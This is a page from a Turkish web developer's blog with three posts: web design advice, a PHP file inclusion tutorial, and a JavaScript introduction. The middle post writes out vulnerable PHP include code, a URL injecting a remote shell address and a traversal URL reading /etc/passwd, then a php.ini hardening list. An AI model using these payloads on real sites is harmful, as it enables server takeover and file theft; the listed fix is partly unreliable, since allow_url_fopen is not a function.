Respond needs javascript to run. To find out more click here
.net Developer » Sayfa 100 » Serdar Demir
RSS
 

Kaliteli Bir Website Nasıl Yapılır? Resimli anlatım

21 Eki

Web Sitesi yapmak aslında çok kolay bir iştir, önemli olan göze hoş görünmesi, sade ve temiz olması, mümkün olduğunca gereksiz sayfalar, animasyon ve pop up’lardan kaçınılmasıdır. (İçerik önemlidir eğer size ait ise bir başkadır.)

Doğru dürüst çalışmayan açılmayan her hangi bir uygulama veya script ne kadar güzel olursa olsun işe yaramaz. Her şeyin bir başlangıcı vardır, kolayı varken işi zora sokmanın anlamı yoktur. Sadece bildiğinizi yapmak, biri bitmeden diğerine başlamamak en idealidir.

İçerik:

İçerik bir Web Sitesinin en önemli unsurlarından biridir. En başta ziyaretçiler sitenize neden gelmeli, sorusunu cevaplamanız gerekir.

Siteye başlamadan önce ziyaretçilerinize sunacak ne varsa hepsini yerli yerinde kullanmak, kaliteli ve kendinize ait olan bir şeyler sunmak en iyisidir.

Bütün içeriği konulara göre hangi konu nereye ait güzel bir şekilde kategorilere ayırıp mümkün olduğunca sık sık sitenizi güncellemek gerekir.

Linkleri (köprüler) çok dikkatli kullanmalıdır. Sitenizdeki yabancı Linkler kendinize ait olanlardan fazla olmasın, yoksa bir anlamı kalmaz. Arama Motorları ne Güne duruyor.

Menü:

Sayfa içeriğinden sonra başarılı bir Sitenin en önemli unsuru Menü dür. Sayfaların Linklerini çok dikkatli düzenlemelisiniz, Ziyaretçiler oraya buraya tıklarken nerede ne var ve nerede olduklarını kolayca bulabilmeliler. Ziyaretçi nerede olursa olsun geri gelme ve aradığını bulma şansı kolay olsun.

Eğer Menüde Java, Javascript var ise, değişik Browserlerde çalışıyor mu?

Uzun Sayfalarda aşağıda ve yukarıda birden fazla Menü olması lazım, yandaki Scroll Bar lara gerek duymadan Sayfanın başına gelebilsin. YUKARI çıkması kolay olsun.

Yatay Scroll’ler hiç bir zaman kullanılmasın. (Sayfa genişliğine dikkat)

Site içi Linkler devamlı aynı Pencere içinde açılsın. Sitenin içindeki Linkler hepsi çalışıyor mu, bu çok önemli. “target=_self” en iyisidir.

Durmadan Pencere kapatmak kimsenin hoşuna gitmez, Siteye ait olmayan Linkler hiç bir zaman Frame “içinde” olmasın, (“target=_new” veya target=_blank) Bütün Sayfalara geri gelme şansı tanıyın (“Home”, “Ana Sayfa”) …

Tasarım:

Websiteleri devamlı Yapım aşamasındadır — Tamirat var gibi bilmem bitmemiş Siteler!!! buna ne gerek var eğer o Sayfa bitmemiş ise Link koymayın oraya gelen kişi bir şeyler bulurum diye gelmiş bir de bakıyor ki (Tamirat) hoppalaa…:-)

Ziyaretçilerinizi Saat, Tarih, Hava durumu, Haberler, İsim sorma, Passwort sorusu, Browseriniz şudur Sisteminiz budur İsminiz nedir gibi dalgalarla rahatsız etmeyin buna ne gerek var?

MSIE 5.5 (Buradan indir) Java yı çalıştır, yoksa Appletleri göremezsin.” gibi yazılar gereksizdir. Şu Siteyi güzel bi göreyim diye hiç kimse sadece bir Site için yeni Browser veya Plug Ins kurmaya kalkmaz ya da Sistem ayarlarını kurcalamaz.

Pop-Up-Pencereler gereksiz (‘Alert’) çok Can sıkıcı kullanmayın. Bazı durumlarda önemli olabilir fakat iyice düşünülmesi gerekir. En kötüsü de Tam boy Ekran, Browserlerin (Menüleri, Sembolleri, Scrolleri vs.) gizlemek.

Pop-Up ların durumları: Ziyaretçi Tam Ekran geziniyor; herhangi bir Link e basıyor ve bir PopUp; Ziyaretçi başka bir yere basıyor – PopUp kayboluyor, ama bilmiyor, arka tarafta Pencere halen açık duruyor. Başka bir Link e basıyor – ne oluyor? Yeniden bir PopUp, daha sonra? al sana bir “Pencere Salatası” bazen Bilgiyayarınızı kapatmak zorunda kalabilirsiniz !”(browser de ne yapacağını şaşırıyor ).(devamlı alt+F4 Tuşlarona basarak kurtulabilirsiniz) kendi kendinize sorun Siz böyle bir Siteye bir daha girer misiniz?

Scrollbars Kaydırma Çubukları: Uzun süreden beri Web Masterler, o çirkin-gri Renkli Çubuklarla güzelim Sayfalara katlandılar… M$ (Microsoft) nihayet , bir atak daha yaptı (ki her ne kadar IE 5.5 ve üzerinde). Çalışsa da …Style Sheets – CSS, çok güzel bir Olaydır.

Java-Appletler önemli bir Funktion olmadığı sürece. — kullanmayın!

Fare imlecinin peşinde dolaşan Yıldızlar, yazılar? Çok çirkin — kullanmayın! (jawa script Bölümü var ise gösteri amaçlı olarak sadece o Sayfada kullanabilirsiniz.)

Ekranda , hoplayıp zıplayan yanıp sönen her ne varsa — çok çirkin görünür felaket bi şey!

Müzik iyi de. Uzun bir yazının içinde arka planda çalışan bir Müzik dosyası iyi değildir. illa ki olacak ise ziyaretçilerinizin isteği üzerine bir Düğme yapın açıp kapatması kolay olsun . “AutoLoad” olmasın. (Gerçi artık bunu flash dosyalarıyla sağlıyoruz ama yine de titiz olmakta fayda var)

Reklam-Banner: Başka bir Sitenin Banneri Sitenizde ne işi var? (Ticari Siteler hariç)
Arka Plan Grafik (back ground jpg, gif) ne gerek var – illa ki, olacaksa , dikkatli Renk seçimi ve mümkün olduğunca küçük , ve bütün Sayfalarda aynı, Yazıya uygun bir renk olması.

Karmaşık Yazı - Tek bir çeşit Yazı tipi kullanın (en fazla iki). Yazılara değişik Renkler kullanmayın. Yazılara arasında Yeterli aralık bırakın ve onları ezmeyin.
Bu NE biÇİm YaZI bÖYle YahUU ?
Ziyaretçileriniz Linkleri ve Yazıları kolayca ayırt edebilsin.

Ve Dil Seçeneği - çok önemli, unutmayınız Siteniz sadece Türkiyeden ziyaret edilmiyor……… Windows sistemleri için için
bu da diğer Sistemler için.

Pornographie, Şiddet gibi benzer şeyler kendi bilgisayarınızda kalsın — Web Sitesinde değil.

Grafik:

Resimler veya Grafik; bir Web Sitesinde olmazsa olmaz, kişinin karakterini bile ortaya çıkaran bir olaydır. Kendi yapmış olduğunuz Grafikler en güzelidir. Başkalarının Grafiklerini kullanırsanız, var ise Copyright lere dikkat etmeniz ve Grafik in kime ait olduğunu belirtmeniz gerekir.

Sayfa içerisine uygun Grafikler seçiniz. Boyutları ve büyüklüğüne dikkat ediniz. Tek bir Sayfaya fazla Resim koymayınız

Sadece (gif, jpg, png). kullanınız mümkünse Resimleri sıkıştırın, ama kalitenin kaybolmamasına dikkat ediniz.

Animationlar her zaman için ( Kb) çok yer kaplar ve Sayfanın yüklenmesini ağırlaştırır uzun sürebilir. Tek bir Sayfada birden fazla Animasyonlu Grafik dikkat dağıtır ve çirkin görünür. Ziyaretçiyi rahatsız eder. Ancak flash animasyonlarla bu durum oldukça kolaylaşmış durumdadır. Flash tekniğini yerinde ve zamanında kullanmak sitenize ahenk katar.

Codların arasına devamlı “width” ve “height” Grafiklerin genişlik yükseklik değerleri koyun, Sayfanın yüklenmesi hızlanır.

T e s t y a p ı n

Sayfalarınızı Server e yüklemeden önce güzel bir kontrol edin Linkler hepsi çalışıyor mu? Javascript-Hataları var mı?

Sayfaları Server e yolladıktan sonra kontrol edin Sayfalar çabuk açılıyor mu? Linkler çalışıyor mu? Eğer Sayfalar yavaş açılıyorsa Grafikleri küçültün ya da Yazıları kısaltın Scriptleri veya Appletleri silin Cod ları yeniden düzenleyin …

1024 x 768 —- 800 x 600

Buna Siz karar verin: şu an Web de tahminlere göre 90% 1024 x 768 çözünürlük kullanılıyor

 
5 Comments

Posted in Asp.net

 

Web Güvenlik Açıkları Web Sitenizi Koruyun

21 Eki

Remote / Local File Inclusion

Şimdi sizlerle son zamanların en sık kullanılan ve çoğu scriptte mevcut olan açıktan detaylı bir şekilde bahsedeceğim.

Öncelikle Remote file inclusion(RFI), local file inclusion ne demek onları örenelim:)


Remote File inclusion: uzaktan dosya dahil etme.

Local File inclusion: yerel(serverdan) dosya dahil etme.

Remote File Inclusion: Öncelikle bu file inclusion açıgımızdan bahsetmeye başla-yalım.Dediğim gibi son zamanların en çok kullanılan ve bulunan açıklarından.

Bu açıklar sayesinde hedef siteye php shell’ler(c99,r57) upload edilebilir, hatta serverdaki tüm sitelere zarar verilebilir.Peki bu açıklar nasıl meydana gelirler birazdan ondan bahsedelim.

Php scriptlerini kodlayan coderlerın hepsi profesyonel değillerdir, yada binlerce satır yazılan kodlarda yapılan hatalardan ortaya çıkar bu File Include açıkları.Bir örnekle açıklamadan önce bazı 3-5 bilgi örenmeniz gerekmektedir.

Veriable: veriabler, php dilinde bilgileri bulunduran sepetler olarak düşebilirsiniz.

İnclude ve include_once: Kelime anlamı dahil etmedir.php dilinde bir dosya ya, başka bir dosyayı dahil etmeye yarar.Binlerce satır kodu tek bir kod la başka bir sayfada kodlanmış olarka gösterebilirsiniz.

Require ve require_once: Görevi bir üstteki include ve include_once ile aynıdır ama tek bir farkı vardır.O farkta; bir scriptte include ile bir dosyayı başka bir dosyaya dahil ettik, ama o dahil ettiğimiz dosya mevcut değil.Bu durumda o satırı php yorumlayıcısı atlar, hata mesajı gösterir ve o sayfanın kalan kodlarını yorumlar.Ama require de bu durum yoktur.require ile dahil edilen dosya mevcut değilse, bu sefer tek bir hata kodu gösterir php yorumlayıcısı ve sayfadaki diğer kodları okumayı durdurur.Bu fark bizim için önemsizdir, ama bilmenizde fayda var:)

Şimdi bir örnek yapalım..

include ($xoron.’../config.php’) ;
?>

Üstteki kodun bulundugu dosyayı test.php olarak kaydedin ve bir php destekleyen siteye atın.test.php yi açtıgınızda bir hata alacaksınızdır.Bunun nedeni test.php ye dahil edilen config.php nin bulunamamasıdır:)

www.mysite.com/test.php?xoron=http://shell-adresiniz?

Test.php de bulunun $xoron veriableı tanımlı değildir.Yani sepet dolu değildir.Bizde o boş sepeti kendi kodumuzda yani c99 veya r57 shell’lerimizle doldurarak servera girebiliriz.


$xoron: ‘files’;
include ($xoron.’../config.php’) ;
?>

Üstteki kodu test2.php olarak kaydedin ve php destekleyen sitenize atınız.

www.mysite.com/test.php?xoron=http://shell-adresiniz?

Yazarsanız açıgın çalışmadıgını göreceksinizdir.Bunun nedeni  $xoron: ‘files’;

Bu kod ile $xoron veriablenın tanımlanması yani sepetin doldurulmasıdır.

Local File Inclusion: RFI açıgından bahsettikten sonra ise sıra geldi LFI açıklarına.Bu açıklar RFI dan daha az kullanılmaktadır ve etkiside RFI kadar yoktur.Biraz hakkında konuşalım LFI’nın:). Gene php coderların acemilikleri veya unutkanlıklarından meydana gelen açıklardır.LFI ile bir sitenin ftp’sindeki veya serverdaki dosyaları okuma iznimiz varsa okuyabiliriz.Her RFI açıgını bir LFI gibi kullanabiliriz ama ortada bir remote file include imkanımız varken local file include yapmamız saçma olurdu=) .

Bir örnekle açıklayalım;)


include (’files/$cw/config.php’) ;
?>

Bu kodu test3.php olarak save edip php destekleyen bir servera atıp çalıştırdıgımızda gene hata alacagızdır,bunun neden, config.php nin bulunamamasıdır.Bu bizim için fark etmez bizim amacımız farklı.

Bu koddaki $cw veriablı tanımlı değildir bu yüzden aşagıdaki bir komutla okuma izni olan tüm dosyaları okuyabiliriz.

www.mysite.com/test3.php?cw=../../../../etc/passwd

ben üstte serverın /etc/passwd dosyasını okudum siz isterseniz başka dosyalarıda okuyabilirsiniz.

$cw : ‘conf’ ;
include (’files/$cw/config.php’) ;
?>

Bu dosyayı test4.php olarka save edip php destekleyen bir hostta attıgınızda LFI açıgının çalışmadıgını göreceksiniz.Bunun nedeni  $cw : ‘conf’ ; bu kod ile tanımlı olmayan $cw veriablı tanımlanmıştır.Yani sepet doldurulmuştur.

Son zamanların en çok kullanılan ve hostingcilerin başına en çok bela açan açıkların başında gelmektedir.

File Inclusion açıklarından yararlanarak servera upload edilen php shell’lerden nasıl korunurum diye düşünüyorsanız işte cevabı….

/etc/php.ini dosyasını açın

disable_function satırını buluyoruz ve karşısına bunları ekliyoruz.

system,passthru,exec,popen,proc_close,proc_get_sta tus,proc_nice,proc_open,
allow_url_fopen,shell,shellexec,execute

service htttpd restart diyoruz

NOT: Bu fonksiyonlar disable yapıldıgında bazı scriptler serverınızda çalışmayacaktır ama bu açıklardan da korumuş olacaksınız.

 

Java Script’e Giriş-Java Script kodları indir örnek uygulamalar

21 Eki

Javascript’le Tanışalım

Javascript programı yazmak için ihtiyacınız olan alet-edavat, bu kitapçığın yanı sıra, iyi bir bilgisayar ve bir düz yazı programıdır.

Bilgisayarınız ecza dolabı kılıklı bir PC ise Notepad, bilgisayarınız mandalina, çilek veya şeftali renkli bir iMac ise SimpleText bu iş için biçilmiş kaftan sayılır. Eğer bu amaçla bir kelime-işlem programı kullanacaksanız, oluşturacağınız metnin dosyasını diske veya diskete kaydederken, düz yazı biçiminde kaydetmesini sağlamalısınız. Çalışmaya başlamadan önce örnek kodlarınızı bir arada tutabilmek ve gerektiğinde gerçek sayfalarınızda yararlanabilmek için sabit diskinizde bir dizin açmanız yerinde olur.

Javascript, HTML’in bir parçasıdır ve içinde bulunduğu HTML ile birlikte Web Browser programı tarafından yorumlanır. Dolayısıyla, Javascript programı yazmak demek, bir Web sayfası hazırlamak ve bu sayfadaki HTML kodlarının arasına Javascript kodları gömmek demektir.

O halde, kolları sıvayıp, ilk Javascript programımızı yazalım. Şu kodu yazıp, merhaba1.htm adıyla kaydedin:

Merhaba Dünya

Sonra ya bu dosyayı iki kere tıklayın; ya da favori Browser programınızı çalıştırın ve bu dosyayı açın. Karşınıza çıkacak düğmeyi tıklayın. İşte sonuç:

Şimdi kendi kendinizi kutlayın: Birazcık yardımla da olsa, Javascript programcısı olarak dünyaya merhaba demiş bulunuyorsunuz. Yazdığınız koddan tek kelime bile anlamıyorsanız da hiç önemli değil. Önemli olan ilk adımı atmaktı.

Bu adımı attığınıza göre şimdi yazdığınız kodu biraz irdeleyelim. Bütün Web sayfaları gibi, Javascript kodunuzun yer aldığı sayfa da tipik bir HTML kod kümesi:

1. Browser programına kendisinin bir HTML dosyası olduğunu birinci satırda beyan ediyor; ve bittiği yer açıkça gösteriliyor.

2. HTML kodu iki bölüm içeriyor: Başlık (Head) ve gövde (Body) bölümleri. Her bölümün nerede başladığı ve nerede bittiği açıkça belirtiliyor.

3. Gövde bölümünde bir Form unsuruna yer veriliyor; fakat bu formun tek ögesi var: Düğme (Button).

4. Daha önce Web sayfalarınıza düğme koyduysanız, bu düğmenin onlardan farklı bir tarafı var: Türü, değeri, vs. belirtilmiyor; sadece “onclick=”alert(‘Merhaba Dünya!’)” şeklinde bir ifadeye yer veriliyor.

5. Ve ilk Javascript programınızda ne Javascript’in adı geçiyor; ne de HTML ile Javascript bölümlerini birbirinden ayırteden, etiketine yer veriliyor!

Özellikle bu son husus, size şunu gösteriyor: Günümüzde Netscape ve IE Javascript ile o kadar içiçe geçmiş ve Javascript özellikle 1.2’nci sürümü ile o kadar Browserların Belge Nesnesi Modeli (Document Object Model) ile kaynaşmıştır ki, kimi zaman HTML’in işlevi nerede bitiyor, Javascript’in işlevi nerede başlıyor, kolaylıkla ayırt edilemez.

Javascript’ten söz ederken, bu dilin imla kuralları olmakla birlikte bu kurallara yüzde 100 uymanın zorunlu olmadığını ifade ettik. Kural olarak, Javascript bölümü, HTML’in içine etiketlerinin arasına gömülür. İşte size bütün kuralları yerine getirilmiş bir Javascript bölümü yazma örneği:

Merhaba Dünya

Bu metni merhaba2.htm adıyla kaydeder ve Browser’ınızda açarsanız, görüntünün ve işlevin tıpatıp aynı olduğunu göreceksiniz. İki metin arasındaki fark, ikincisinin Javascript yazma kurallarına yüzde 100 uymasından ibaret. Bununla birlikte Javascript ile HTML’i birbirinden dikkatlice ayırmanız gereken durumlar, ikisinin birbiriyle kaynaştığı noktalardan daha çoktur. Hatta o kadar ki, Javascript’in ileri sürümüne ilişkin komutlar kullanıyorsanız, eski sürüm Browser’ların kafasının karışmaması ve dolayısıyla ziyaretçinizin bilgisayarının kilitlenmemesi için bunu bile belirtmeniz gereken durumlar olabilir.

Bir de şunu deneyin: önce merhaba.js adıyla şu metni kaydedin:

function merhaba()

{

alert(“Merhaba, Dünya!”)

}

Sonra, merhaba2.htm dosyasında şu değişikliği yapın ve merhaba3.htm adıyla kaydedin:

Merhaba Dünya

Ve merhaba3.htm’i açtığınızda yine aynı görüntü ve aynı işlevle karşılaştığınızı göreceksiniz. Bu üçüncü yöntemde sadece Javascript kodlarını içeren ve dosya adının uzatması “.js” olan bir düzyazı dosyasını HTML’e dışardan da eklemiş olduk.

Bu esnekliğe bakarak, Javascript diline, “Ne yapsam olur! Nasıl yazsam işler!” anlayışıyla yaklaşamazsınız. Javascript, bütün bilgisayar dilleri gibi yorumlanabilmesi (çalışabilmesi) için kendi imla ve dilbilgisi kurallarına son derece bağlı kalınmasını ister. Bunu sınamak isterseniz, şu ana kadar oluşturduğunuz herhangi bir HTML dosyasında Javascript bölümündeki bir parantezi veya süslü parantezi kaldırın; dosyayı başka bir isimle kaydedin ve Browser’ınıza açtırmaya çalışın! Merhaba3.htm dosyasında “onclick=”merhaba()” komutunun bir parantezini kaldırdığımızda, Netscape ve IE’nin şu hata mesajlarını verdiğini görüyoruz:

HTML sayfalarınının Web Browser programlarında yapabileceği bir başka hata ise, kodu icra etmek yerine içerik gibi görüntülemektir. Web ziyaretçilerinin halâ kullandığı eski sürüm Browser programları, Javascript programlarını ya hiç anlamazlar, ya da eski sürümlerini anlarlar. Netscape 2.0 öncesi ile IE 3.0 öncesi Browser programlarının, Javascript kodlarını icra etmek yerine sayfanın içeriği imiş gibi görüntülemesini önlemek için Script bölümlerini eski sürüm Browser’lardan, merhaba2.htm sayfasında yaptığınız gibi gizlemeniz gerekir. Merhaba2.htm’e bakarsanız:

şeklinde bir bölüm göreceksiniz. Bu bölümün başında ve sonunda yer alan “” işaretlerinin arasındaki herşey, eski sürüm Browserlar tarafından HTML dili kurallarına göre “yorum” sayılacak ve görmezden gelinecektir. Javascript dilinin yorumları ise “//” işaretiyle başlar ve satır sonunda sona erer. Merhaba2.htm’de Javascript kodlarının bütün satırlarında böyle yorumlar koydunuz. Eğer yorumlarınız bir satırdan uzun olacaksa, bunu şöyle belirtebilirsiniz:

/* yorumun birinci satırı

yorumun ikinci satırı

yorumun üçüncü satırı */

Javascript veya başka bir dille program yazarken, iyi programcılar, programlarını kendilerinden başkası denetlemeyecek ve yeniden kullanmayacak da olsa, önemli işleri yaptıkları satırlara mutlaka yorum koyarlar. Bunun yararını, kendi yazdığınız bir programı bile bir yıl sonra yeniden açtığınızda görürsünüz!

Ziyaretçinin Web Browser programı Javascript anlıyor ise sayfanızdaki Javascript kodları, ya ilk yazdığınız programda olduğu gibi, ziyaretçinin sayfanızda bir yeri tıklaması veya klavyede bir tuşa basmasıyla harekete geçer; ya da HTML sayfası ziyaretçinin Browser’ında görüntülendiği anda otomatik olarak çalışmaya başlar. Otomatik çalışan Javascript kodu ise iki ayrı yöntemle çalıştırılabilir: HTML kodları icra edilmeden önce (yani sayfanız ziyaretçinin Web Browser’ında görüntülenmeden önce, veya sayfa görüntülendikten sonra.

Davranın düz yazı programınıza ve şu kodları girin:

Merhaba Dünya

Bu dosyayı da merhaba4.htm adıyla kaydedin ve Browser’ınızda açın. Sayfanızın içeriğini oluşturan “Merhaba Dünya” yazısı ile Javascript programınızın icra ettirdiği uyarı kutusunun görüntülenmelerindeki sıraya dikkat edin.

Bu dosyada, küçük bir değişiklik yapalım ve kodlarımıza şu şekli verelim:

Merhaba Dünya

merhaba5.htm adıyla kaydedeceğiniz bu dosyayı Browser’ınızda açtığınızda, sayfa metni ile uyarı kutusunun görüntülenme sırasına dikkat edin. Merhaba4’de önce uyarı kutusunun görüntülenmesinin sebebi, Browser’ın HTML kodundaki komutları yukarıdan aşağı sırayla yerine getirmesi ve bu arada karşısına çıkan Javascript komutunu da icra etmesidir. Oysa merhaba5’te, Javascript komutunu bir fonksiyon olarak tanımladınız ve bu fonksiyonun icrasını HTML’in BODY etiketinin içeriğinin Browser’ın penceresine yüklenmesine bağladınız. Bunu Javascript’in “onLoad” komutuyla yaptık. (onLoad’ın nasıl kullanıldığını ve nerelerde kullanıldığını daha sonra ayrıntılı ele alacağız. Şimdiden telaşa kapılmaya gerek yok!)

Buraya kadar gördüğümüz bir kaç örneği, Javascript kodlarının ne zaman ve nasıl işlediğini göstermek amacıyla verdik. Fakat bu örneklerden çıkartacağımız başka bir sonuç daha var: Dikkat etti iseniz Javascript komutları, daima HTML sayfasının bir unsuruna bağlı olarak veriliyor. Yani Javascript’in konusu veya hedefi, Web Browser programının (Netscape veya IE’nin) bilgisayarın ekranında oluşturduğu pencerenin içindeki belgenin bir ögesi. Bu öge, şimdilik ya bu belgenin içindeki FORM unsurunun bir bölümü (örneğin, düğmesi), ya da sayfanın BODY bölümünün bizzat kendisi oldu.

Bu ögeler, unsurlar, unsurların bölümlerine programcılık dilinde “Nesne” (Object) denir. Ya kendisi bir nesne oluşturabilen veya içinde çalıştığı programın ya da işletim sisteminin nesnelerini konu alan ve bu nesnenin unsurlarını, ögelerini, parçalarını hedef olarak alan dillere Object-oriented (nesne-yönelimli) diller denir. Bu dillerle yazılan programlara (isterse bir Script dilinin düz yazı şeklindeki komutları olsun) Object-oriented Program (OOP) adı verilir.

Javascript programları da OPP sınıfına girdiği için, Javascript programcısı olacaksanız, programlarınızın mutlaka Web Browser’ın bir nesnesinin bir özelliğini belirlemeye veya değiştirmeye ve Web Browser’ı bir nesne oluşturmaya ve nesnenin şu özelliğini şöyle veya böyle yapmaya yönelik olması gerektiğini akıldan hiç çıkartmamalısınız. Bu nesne, Browser’ın penceresinin menü çubuğunun olması ya da olmaması, pencerenin bilgisayar ekranında ne büyüklükte olması, pencerenin alt çerçevesindeki statü mesajının içeriğinin değiştirilmesi bile olabilir. Javascript programı açısından HTML etiketleri ile oluşturacağınız hemen herşey nesnedir. Bu nesnelerin nasıl etkileneceği ise Javascript programının içeriğini oluşturur.

Özetlersek, Javascript ile Web Browser programını penceresini ve Browser programının yorumladığı HTML etiketlerinin oluşturacağı sayfa ögelerini, bu ögelerin biçimini, değerini belirler, sorgulayabilir ve değiştirebilirsiniz.

Şimdi kısaca bu işlevselliğin temeli olan ve adına Document Object Model (DOM, Belge Nesne Modeli) denen kurallar demetinden söz edelim. Javascript kodu, DOM’u hedef alır: bu bağlamda DOM, bir Browser’ın penceresi ve penceresinin içindeki herşey demektir. Ama henüz herşey için bir olay ve metod standardı geliştirilmiş değil.

“Olay” (Event) ve “Metod” (Method) burada dikkat etmeniz gereken iki kelime. Olay, Web Browser’ın veya kullanıcının yaptığı bir iş, eylem, hareket demektir; “Metod” ise programcı olarak sizin bu “Olay”ı veya nesnenin bir özelliğini (Property) kullanarak, Belge’nin bir unsuruna yaptırtabileceğiniz iş, eylem, hareket veya değişikliktir. Bu “teori” ilk bakışta sanıldığı kadar kavranması zor değil. Bir örnekle açıklayalım:

Diyelim ki, HTML sayfanızda şöyle bir bölüm var:

WEB KİTAPÇISI

Roman

Hikaye

Biyografi

Şimdi bu HTML kodu sayfanızda şu Nesne’leri oluşturur:

1. Bir adet Form

2. Dört adet “checkbox” türü INPUT alanı

3. Bir adet metin alanı

Şimdi dikkat: Sizin açınızdan “form01” isimli bu formu oluşturan FORM ögesi, Javascript açısından “document.form01” adlı nesnedir. Ziyaretçinin içine işaret koyduğu kutu, Javascript tarafından “document.checkboxSelected” diye tanınır. Sizin “sonuc” isimli metin alanınızın içinde yazılı olacak metin ise Javascript bakımından “document.form01.sonuc.value” (value=değer) diye bilinir.

HTML dilini geliştirenler, türü “checkbox” olan INPUT nesnesinin başına gelebilecek “olay” türlerinin neler olabileceğini düşünürken, “Mesela,” demişler, “Kullanıcı bu kutuyu tıklayabilir!” Yani, bu nesnenin Browser açısından yol açabileceği “olay”lardan biri tıklanması halinde olan olaydır. Tıklamanın İngilizcesi ne? “click!” O halde bu olayın adı “Click,” bu olayı yönlenrdiren metodun adı ise “onClick”tir (on, İngilizce -de, -da eki veya üzerinde, halinde kelimesinin karşılığıdır). Bu durumda “onClick,” olayı, bu kutu açısından bir olaydır ve Javascript prnogramcısı olarak bu olayı yakalayabilir, kullanabiliriz. Başka bir deyişle, Browser’a, Javascript yoluyla “Ey Browser; kullanıcı benim INPUT nesnelerimden “roman” adlı olanı tıkladığı zaman şu, şu işi yap!” emrini verebiliriz. Bu noktada bilgisayar programının, hangi dille yazılırsa yazılsın, alt alta gelmiş komutlar listesi olduğunu hatırlatalım.

Peki, yine aynı örnekte, Browser’a Javascript yoluyla ne gibi bir iş yaptırtabiliriz? Mesela, “Ey Browser, kullanıcı benim INPUT nesnelerimden ‘roman’ adlı olanı tıkladığı zaman benim ’sonuc’ adlı TEXTAREA nesnemin değerini ‘Roman’ yap!” diyebiliriz. Biliyorsunuz ki, TEXTAREA nesnelerinin değeri, ekranda çizdikleri kutunun içine koydukları içerik demektir. Tabiî aynı mantıkla, “hikaye” kutusu işaretlenince Sonuç kutusuna “Hikaye,” “biyografi” kutusu işaretlenince de Sonuç kutusuna “Biyografi” yazdırtmak elimizde.

Kısaca, Javascript herşeyi, bir HTML ögesine göre tanımlar, adlandırır ve bilir. Unutmayacağınız kural: “Javascript, sayfanın bir şeyini alır, sayfanın bir şeyine hitabeder!”

Bu gayet anlamlı şekilde ifade ettiğimiz kuralı yerine getirmekte sorun, sadece Javascript’in on-onbeş kelimesini, yedi-sekiz işlemini öğrenmek değil, aslında HTML belgesinin nesnelerinin olaylarını ve metodlarını öğrenmektir.

Dolayısıyla, önce Javascript’in on-onbeş kelimesi ve yedi-sekiz işleminden ibaret temel kurallarını ele alacağız; sonra da bunlarla Belge Nesneleri’ne hangi olay halinde ne yapabileceğimizi ve bunu nasıl yapabileceğimizi göreceğiz.

 
1 Comment

Posted in C++

 
Sayfa 100 - 231« İlk...96979899100101102103104105...200...Son »